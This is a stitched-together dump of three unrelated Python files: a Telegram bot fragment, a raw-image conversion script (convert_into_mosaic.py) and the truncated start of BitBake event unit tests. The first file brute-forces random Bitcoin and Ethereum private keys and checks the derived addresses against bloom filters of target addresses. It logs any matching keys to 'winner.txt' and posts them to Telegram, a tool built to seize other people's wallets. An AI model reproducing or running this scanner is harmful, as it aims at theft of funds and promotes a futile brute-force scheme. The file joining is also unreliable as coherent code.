time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**230 stopscan=2**240 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 230-240 Bits Random Range")) num += 1 if message.text=="240-250 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 240-250 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------240-250 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**240 stopscan=2**250 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 240-250 Bits Random Range")) num += 1 if message.text=="250-253 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 250-253 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------250-253 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**250 stopscan=2**253 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 250-253 Bits Random Range")) num += 1 if message.text=="253-255 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 253-255 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------253-255 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**253 stopscan=2**255 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 253-255 Bits Random Range")) num += 1 if message.text=="255-256 Bits": bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} ๐Ÿคž๐Ÿ€ Good Luck and Happy Hunting ๐Ÿ€๐Ÿคž {n}{n} ๐Ÿช„ 255-256 Bits Magic Random Range This will run for 2mins ๐Ÿช„")) print('[yellow]\n---------------------255-256 Bits Random Range ---------------------------------[/yellow]') t_end = time.time() + 60 * 2 t = time.localtime() current_time = time.strftime("%H:%M:%S", t) while time.time() < t_end: count += 1 total += 4 startscan=2**255 stopscan=2**256 ran=random.randrange(startscan,stopscan) dec = str(ran) HEX = "%064x" % ran wifc = ice.btc_pvk_to_wif(HEX) wifu = ice.btc_pvk_to_wif(HEX, False) caddr = ice.privatekey_to_address(0, True, int(dec)) #Compressed uaddr = ice.privatekey_to_address(0, False, int(dec)) #Uncompressed p2sh = ice.privatekey_to_address(1, True, int(dec)) #p2sh bech32 = ice.privatekey_to_address(2, True, int(dec)) #bech32 ethaddr = ice.privatekey_to_ETH_address(int(dec)) length = len(bin(int(dec))) length -=2 if caddr in bloom_filter or p2sh in bloom_filter or bech32 in bloom_filter or ethaddr in bloom_filter1: print('[purple] Private Key DEC >> [ [/purple]', dec, '[purple]][/purple]') print('[purple] Private Key HEX >> [ [/purple]', HEX, '[purple]][/purple]') print('[purple] WIF Compressed >> [ [/purple]', wifc, '[purple]][/purple]') print('[purple] WIF Uncompressed >> [ [/purple]', wifu, '[purple]][/purple]') print('[purple] BTC Compressed >> [ [/purple]', caddr, '[purple]][/purple]') print('[purple] BTC UnCompressed >> [ [/purple]', uaddr, '[purple]][/purple]') print('[purple] BTC p2sh >> [ [/purple]', p2sh, '[purple]][/purple]') print('[purple] BTC Bc1 >> [ [/purple]', bech32, '[purple]][/purple]') print('[purple] ETH Address >> [ [/purple]', ethaddr, '[purple]][/purple]') f=open("winner.txt","a") f.write('\nPrivatekey (dec): ' + str(dec)) f.write('\nPrivatekey (hex): ' + HEX) f.write('\nPrivatekey compressed: ' + wifc) f.write('\nPrivatekey Uncompressed: ' + wifu) f.write('\nPublic Address 1 Compressed: ' + caddr) f.write('\nPublic Address 1 Uncompressed: ' + uaddr) f.write('\nPublic Address 3 P2SH: ' + p2sh) f.write('\nPublic Address bc1 BECH32: ' + bech32) f.write('\nPublic Address ETH: ' + ethaddr) f.close() bot.send_message(message.chat.id, (f" ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} ๐Ÿ’ธ๐Ÿ’ฐ๐Ÿค‘WOW YOU HAVE FOUND!!!๐Ÿค‘๐Ÿ’ฐ๐Ÿ’ธ")) else: print('[purple]Scan Number [ [/purple]', str(count), '[purple] ] Total Checked [ [/purple]', str(total), '[purple] ] [/purple] Start Time = ', current_time, end='\r') if num in range(100000): if num % 4000 == 0: print('[yellow] SENDING MESSAGE TO TELEGRAM EVERY 4000 TIMES [/yellow]') bot.send_message(message.chat.id, (f"SENDING MESSAGE TO TELEGRAM EVERY 4000 GENERATIONS {n}{n} Scan Number {count} Total Addresses Scanned {total} {n}{n} โ›๏ธ Private Key DEC >> โ›๏ธ{n}{dec} bits {length}{n}{n} ๐Ÿ”จ Private Key HEX >> ๐Ÿ”จ{n}{HEX} {n}{n} ๐Ÿ—๏ธ WIF Compressed >> ๐Ÿ—๏ธ {n}{wifc}{n}{n} ๐Ÿ”‘ WIF Uncompressed >> ๐Ÿ”‘ {n}{wifu}{n}{n} โ‚ฟitcoin Address = {caddr} {n}{n} โ‚ฟitcoin Address = {uaddr} {n}{n} โ‚ฟitcoin Address = {p2sh} {n}{n} โ‚ฟitcoin Address = {bech32} {n}{n} Ethereum Address = {ethaddr} {n}{n} 255-256 Bits Random Range")) num += 1 else: bot.send_message(message.chat.id, "Going back to the Main Menu ") print('[red]Going back to the Main Menu[/red]') start(message) bot.polling() for i in range(10): t = threading.Thread(target=start) threads.append(t) t.start()
convert_into_mosaic.py
from __future__ import absolute_import from __future__ import division from __future__ import print_function # Imports import numpy as np from PIL import Image from tqdm import tqdm import argparse import os import re import subprocess import threading params = {} rgbg = "-r %.3f %.3f %.3f %.3f" dcraw_cmd = "dcraw%s -d -6 -T %s %s" libraw_cmd = "dcraw_emu %s -disinterp -6 -T -o 0 %s" def build_cmd(image_path): global params, rgbg, dcraw_cmd, libraw_cmd DECODER = params['DECODER'] if params['W']: W = ' -W' else: W = '' if params['r'] is not None: r = params['r'] rgb_mtplr = rgbg % (r[0], r[1], r[2], r[3]) else: rgb_mtplr = '' if DECODER == 'dcraw': cmd = dcraw_cmd % (W, rgb_mtplr, re.escape(image_path)) elif DECODER == 'libraw': cmd = libraw_cmd % (rgb_mtplr, re.escape(image_path)) else: raise NotImplementedError("Unindentifed decoder") return cmd def convert_into_mosaic(image_path): """Convert the image into mosaic with libraw: Input: a single image path File output: follows the output of dcraw -W -d -6 -T or dcraw_emu -r 1 1 1 1 -disinterp -6 -T -o 0 Return: code, return code of dcraw_emu. non zero on error. """ cmd = build_cmd(image_path) code = subprocess.call(cmd, shell=True) return code def batch_convert(image_path_list): """Iterate image path list and apply dcraw_emu conversion of the images: Input: image_path_list: a list of images to convert, in full fs path Return: None """ print ("Starting to convert.") for img in tqdm(image_path_list): c = convert_into_mosaic(img) def batch_convert_multi(image_path_list): """Iterate image path list and apply dcraw_emu conversion of the images: (multi_threaded) Input: image_path_list: a list of images to convert, in full fs path Calls: convert_into_mosaic() Return: None """ max_thread = 32 print ("Starting to convert.") for img in tqdm(image_path_list): while (threading.active_count() > max_thread): pass #Wait till some thread finishes. t = threading.Thread(target = convert_into_mosaic, args = (img, )) t.start() while(threading.active_count() > 1): pass #Wait till all thread finishes. def move_to_dst(img_list, dst, cn): """Move all mosaic image to dst folder Input: img_list: list of images that needed to be moved dst: destination folder, specified in output parameter cn: clean/noisy indicator Output: None """ n = 0 for _, _, files in os.walk(dst): n = len(files) filename = "" print ("Moving outputs to destination.") for i in tqdm(img_list): # filename = i.split("/")[-1] if cn == 'c': filename = "c%s.tiff" % str(n).zfill(6) elif cn == 'n': filename = "n%s.tiff" % str(n).zfill(6) elif cn == 't': filename = "t%s.tiff" % str(n).zfill(6) os.rename(i, dst+filename) n+=1 def get_file_list(dir, regex=None): """Get List of files from directory Input: DIR, directory to retrieve content from regex: the regex used to filter out unwanted files Return: filename_list, list of contents filename, sorted by sorted() """ if not os.path.exists(dir): raise IOError("%s does not exsit." % dir) filename_list = [] for root, _ , files in os.walk(dir): files = sorted(files) for f in files: if regex is None or regex.match(f): filename_list.append(root + f) return filename_list def main(args): global params src = args.dir out = args.output test = args.test if args.libraw: if args.W: raise NotImplementedError("Cannot use -W with libraw") print ("Using libraw as raw decoder.") params['DECODER'] = 'libraw' else: print ("Using dcraw as raw decoder.") params['DECODER'] = 'dcraw' if args.W: print ("Will not auto brighten image.") params['W'] = True else: print ("Will brighten image.") params['W'] = False if args.r: print ("Use specified rgbg multipliers %s" % str(args.r)) params['r'] = args.r else: print ("Use default rgbg multiplier.") if params['DECODER'] == 'libraw': params['r'] = [1, 1, 1, 1] else: params['r'] = None if not test: # Converting training set cdir = "Clean/" ndir = "Noisy/" csrc = src + cdir nsrc = src + ndir cout = out + cdir nout = out + ndir if not os.path.exists(cout): os.mkdir(cout) if not os.path.exists(nout): os.mkdir(nout) arwregex = re.compile(r'.*\.ARW') cimage_list = get_file_list(csrc, arwregex) nimage_list = get_file_list(nsrc, arwregex) if not len(cimage_list) == len(nimage_list): raise Exception("Sanity check: File counts mismatch of %s" % src) batch_convert_multi(cimage_list) batch_convert_multi(nimage_list) tiffregex = re.compile(r'.*\.tiff') coutput_list = get_file_list(csrc, tiffregex) noutput_list = get_file_list(nsrc, tiffregex) if not len(coutput_list) == len(noutput_list): raise Exception("Sanity check: Mosaic files counts mismatch") move_to_dst(coutput_list, cout, 'c') move_to_dst(noutput_list, nout, 'n') else: # Converting test set print ("Converting test set.") if not os.path.exists(out): os.mkdir(out) arwregex = re.compile(r'.*\.ARW') image_list = get_file_list(src, arwregex) batch_convert_multi(image_list) tiffregex = re.compile(r'.*\.tiff') output_list = get_file_list(src, tiffregex) move_to_dst(output_list, out, 't') if __name__ == '__main__': parser = argparse.ArgumentParser(description = "Helper function to extract patches for deepdenoisenet") parser.add_argument('dir', type = str, help = "Directory of input images, ARW only.") parser.add_argument('output', type = str, help = "Directory to mosaic tiff output.") parser.add_argument('--test', dest='test', action='store_true', help = "If defined, will only batch convert single folder.") parser.add_argument('--libraw', dest='libraw', action='store_true', help = "Use dcraw_emu instead of dcraw to convert.") parser.add_argument('--W', dest='W', action='store_true', help='Don\'t auto brighten image') parser.add_argument('--r', type = float,nargs=4, help = 'Use specified rgbg multipliers.') args = parser.parse_args() main(args)
event.py
# ex:ts=4:sw=4:sts=4:et # -*- tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- # # BitBake Tests for the Event implementation (event.py) # # Copyright (C) 2017 Intel Corporation # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License version 2 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along # with this program; if not, write to the Free Software Foundation, Inc., # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. # import unittest import bb import logging import bb.compat import bb.event import importlib import threading import time import pickle from unittest.mock import Mock from unittest.mock import call from bb.msg import BBLogFormatter class EventQueueStubBase(object): """ Base class for EventQueueStub classes """ def __init__(self): self.event_calls = [] return def _store_event_data_string(self, event): if isinstance(event, logging.LogRecord): formatter = BBLogFormatter("%(levelname)s: %(message)s") self.event_calls.append(formatter.format(event)) else: self.event_calls.append(bb.event.getName(event)) return class EventQueueStub(EventQueueStubBase): """ Class used as specification for UI event handler queue stub objects """ def __init__(self): super(EventQueueStub, self).__init__() def send(self, event): super(EventQueueStub, self)._store_event_data_string(event) class PickleEventQueueStub(EventQueueStubBase): """ Class used as specification for UI event handler queue stub objects with sendpickle method """ def __init__(self): super(PickleEventQueueStub, self).__init__() def sendpickle(self, pickled_event): event = pickle.loads(pickled_event) super(PickleEventQueueStub, self)._store_event_data_string(event) class UIClientStub(object): """ Class used as specification for UI event handler stub objects """ def __init__(self): self.event = None class EventHandlingTest(unittest.TestCase): """ Event handling test class """ def setUp(self): self._test_process = Mock() ui_client1 = UIClientStub() ui_client2 = UIClientStub() self._test_ui1 = Mock(wraps=ui_client1) self._test_ui2 = Mock(wraps=ui_client2) importlib.reload(bb.event) def _create_test_handlers(self): """ Method used to create a test handler ordered dictionary """ test_handlers = bb.compat.OrderedDict() test_handlers["handler1"] = self._test_process.handler1 test_handlers["handler2"] = self._test_process.handler2 return test_handlers def test_class_handlers(self): """ Test set_class_handlers and get_class_handlers methods """ test_handlers = self._create_test_handlers() bb.event.set_class_handlers(test_handlers) self.assertEqual(test_handlers, bb.event.get_class_handlers()) def test_handlers(self): """ Test set_handlers and get_handlers """ test_handlers = self._create_test_handlers() bb.event.set_handlers(test_handlers) self.assertEqual(test_handlers, bb.event.get_handlers()) def test_clean_class_handlers(self): """ Test clean_class_handlers method """ cleanDict = bb.compat.OrderedDict() self.assertEqual(cleanDict, bb.event.clean_class_handlers()) def test_register(self): """ Test register method for class handlers """ result = bb.event.register("handler", self._test_process.handler) self.assertEqual(result, bb.event.Registered) handlers_dict = bb.event.get_class_handlers() self.assertIn("handler", handlers_dict) def test_already_registered(self): """ Test detection of an already registed class handler """ bb.event.register("handler", self._test_process.handler) handlers_dict = 